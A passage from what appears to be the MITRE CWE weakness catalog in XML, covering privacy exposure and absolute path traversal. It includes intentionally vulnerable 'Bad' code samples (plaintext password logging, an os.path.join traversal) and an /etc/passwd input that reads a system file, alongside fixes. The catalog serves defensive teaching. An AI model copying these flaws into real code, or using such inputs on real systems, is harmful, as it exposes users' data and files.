            <xhtml:p>Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.</xhtml:p>
            <xhtml:p>Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Privacy violation</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Privacy leak</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Privacy leakage</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
            <xhtml:p>Private personal data can enter a program in a variety of ways:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Directly from the user in the form of a password or personal information</xhtml:li>
                  <xhtml:li>Accessed from a database or other data store by the application</xhtml:li>
                  <xhtml:li>Indirectly from a partner or other third party</xhtml:li>
               </xhtml:ul>
               <xhtml:p>If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>
            <xhtml:p>Identify and consult all relevant regulations for personal privacy.  An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles.  Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
            <xhtml:p>Carefully evaluate how secure design may interfere with privacy, and vice versa.  Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>pass = GetPassword();<xhtml:br/>...<xhtml:br/>dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);</xhtml:div>
               </Example_Code>
               <Body_Text>The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-111">
               <Intro_Text>This code uses location to determine the user's current US State location.</Intro_Text>
               <Body_Text>First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>locationClient = new LocationClient(this, this, this);<xhtml:br/>locationClient.connect();<xhtml:br/>Location userCurrLocation;<xhtml:br/>userCurrLocation = locationClient.getLastLocation();<xhtml:br/>deriveStateFromCoords(userCurrLocation);</xhtml:div>
               </Example_Code>
               <Body_Text>While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Privacy Violation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO13-J</Entry_ID>
               <Entry_Name>Do not log sensitive information outside a trust boundary</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="464"/>
            <Related_Attack_Pattern CAPEC_ID="467"/>
            <Related_Attack_Pattern CAPEC_ID="498"/>
            <Related_Attack_Pattern CAPEC_ID="508"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-338"/>
            <Reference External_Reference_ID="REF-339"/>
            <Reference External_Reference_ID="REF-340"/>
            <Reference External_Reference_ID="REF-341"/>
            <Reference External_Reference_ID="REF-342"/>
            <Reference External_Reference_ID="REF-343"/>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-172"/>
            <Reference External_Reference_ID="REF-1047"/>
            <Reference External_Reference_ID="REF-1048"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed.  However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description, Name, Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Potential_Mitigations, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-02-18">Privacy Violation</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Exposure of Private Information ('Privacy Violation')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="36" Name="Absolute Path Traversal" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="22" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="22" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="22" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Files or Directories</Impact>
               <Note>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-18">
               <Intro_Text>In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String filename = System.getProperty("com.domain.application.dictionaryFile");<xhtml:br/>File dictionaryFile = new File(filename);</xhtml:div>
               </Example_Code>
               <Body_Text>However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-159">
               <Intro_Text>This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>
                  import os<xhtml:br/>
                  import sys<xhtml:br/>
                  def main():<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                     filename = sys.argv[1]<xhtml:br/>
                     path = os.path.join(os.getcwd(), filename)<xhtml:br/>
                     try:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        with open(path, 'r') as f:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           file_data = f.read()<xhtml:br/>
                           </xhtml:div>
                        </xhtml:div>
                     except FileNotFoundError as e:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        print("Error - file not found")<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  main()
                  </xhtml:div>
               </Example_Code>
               <Body_Text>However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>
                     import os<xhtml:br/>
                     import sys<xhtml:br/>
                     def main():<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        filename = sys.argv[1]<xhtml:br/>
                        path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")<xhtml:br/>
                        try:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           with open(path, 'r') as f:<xhtml:br/>
                              <xhtml:div style="margin-left:1em;">
                              file_data = f.read()<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                        except FileNotFoundError as e:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           print("Error - file not found")<xhtml:br/>
                           </xhtml:div>
                        </xhtml:div>
                     main()
                     </xhtml:div>
               </Example_Code>
               <Body_Text>The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-31503</Reference>
               <Description>Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-31503</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1345</Reference>
               <Description>Multiple FTP clients write arbitrary files via absolute paths in server responses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1345</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1269</Reference>
               <Description>ZIP file extractor allows full path</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1269</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1818</Reference>
               <Description>Path traversal using absolute pathname</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1818</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1913</Reference>
               <Description>Path traversal using absolute pathname</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1913</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2147</Reference>
               <Description>Path traversal using absolute pathname</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2147</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0614</Reference>
               <Description>Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0614</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1263</Reference>
               <Description>Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1263</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0753</Reference>
               <Description>Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1525</Reference>
               <Description>Remote attackers can read arbitrary files via an absolute pathname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1525</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0038</Reference>
               <Description>Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0038</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0255</Reference>
               <Description>FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0255</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0933</Reference>
               <Description>FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0933</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0466</Reference>
               <Description>Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0466</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1483</Reference>
               <Description>Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2488</Reference>
               <Description>FTP server read/access arbitrary files using "C:\" filenames</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2488</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0687</Reference>
               <Description>FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0687</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Absolute Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="597"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Filenames and Paths&#34;, Page 503"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="360" Name="Trust of System Event Data" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Security based on event locations are insecure and can be spoofed.</Description>
         <Extended_Description>Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
